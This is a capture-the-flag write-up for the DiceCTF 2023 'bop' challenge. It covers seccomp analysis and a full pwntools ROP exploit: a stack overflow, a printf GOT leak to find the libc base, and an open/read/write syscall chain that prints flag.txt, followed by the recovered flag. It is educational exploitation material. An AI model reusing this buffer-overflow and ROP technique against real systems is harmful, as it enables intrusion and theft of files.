Dice CTF 2023 - bop (seccomp)

nc mc.ax 30284

  • [159 solves / 117 points]

Analysis

1
2
3
4
5
FROM pwn.red/jail:0.3.1

COPY --from=ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999 / /srv
COPY flag.txt /srv/app/
COPY bop /srv/app/run

I patched the binary first before solve this binary.

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)

We can see the function related with seccomp when open the binary with IDA. So we can use the seccomp-tools.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010
0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

Only open, read, and write are available. But libc’s open function actually uses openat syscall. So We can’t use that function. We have to use the open syscall.

I use the ropper to find the syscall ; ret gadget.

Solve

  • flag.txt open, read and write

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context.arch='amd64'
context.log_level='DEBUG'

# p = process('./bop')
p = remote('mc.ax' ,30284)
e = ELF('./bop')
libc = ELF('./libc.so.6')

main = 0x4012F9
pop_rdi = 0x4013d3
pop_rsi_r15 = 0x4013d1

# ropper -f libc.so.6 --nocolor > rop.txt
pop_rdx = 0x142c92 # libc
syscall_ret = 0x630a9 # libc
pop_rax = 0x36174 # libc

ret = 0x40101a

payload = b''
payload += b'A' * (0x20+0x8)

payload += p64(pop_rdi)
payload += p64(e.got['printf'])
payload += p64(ret)
payload += p64(e.sym['printf'])
payload += p64(ret)
payload += p64(main) # main

# pause()
p.sendlineafter('bop?', payload)

libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['printf']
info('libc base : ' + hex(libc.address))

payload = b''
payload += b'A' * (0x20+0x8)

# read(0, bss, 8) flag.txt
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(0x4040A0) + p64(0)
payload += p64(pop_rdx + libc.address)
payload += p64(11)
payload += p64(ret)
payload += p64(libc.sym['read'])

# open(./flag.txt) syscall
payload += p64(pop_rax + libc.address)
payload += p64(2) # open
payload += p64(pop_rdi)
payload += p64(0x4040A0)
payload += p64(pop_rsi_r15)
payload += p64(0) + p64(0)
payload += p64(ret)
payload += p64(syscall_ret + libc.address)

# read(fd, bss, 100)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi_r15)
payload += p64(0x4040A0) + p64(0)
payload += p64(pop_rdx + libc.address)
payload += p64(100)
payload += p64(ret)
payload += p64(libc.sym['read'])

# write(1, bss, 100)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(0x4040A0) + p64(0)
payload += p64(pop_rdx + libc.address)
payload += p64(100)
payload += p64(ret)
payload += p64(libc.sym['write'])

pause()
p.sendlineafter('bop?', payload)
p.send('./flag.txt\x00')

p.interactive()

flag

1
dice{ba_da_ba_da_ba_be_bop_bop_bodda_bope_f8a01d8ec4e2}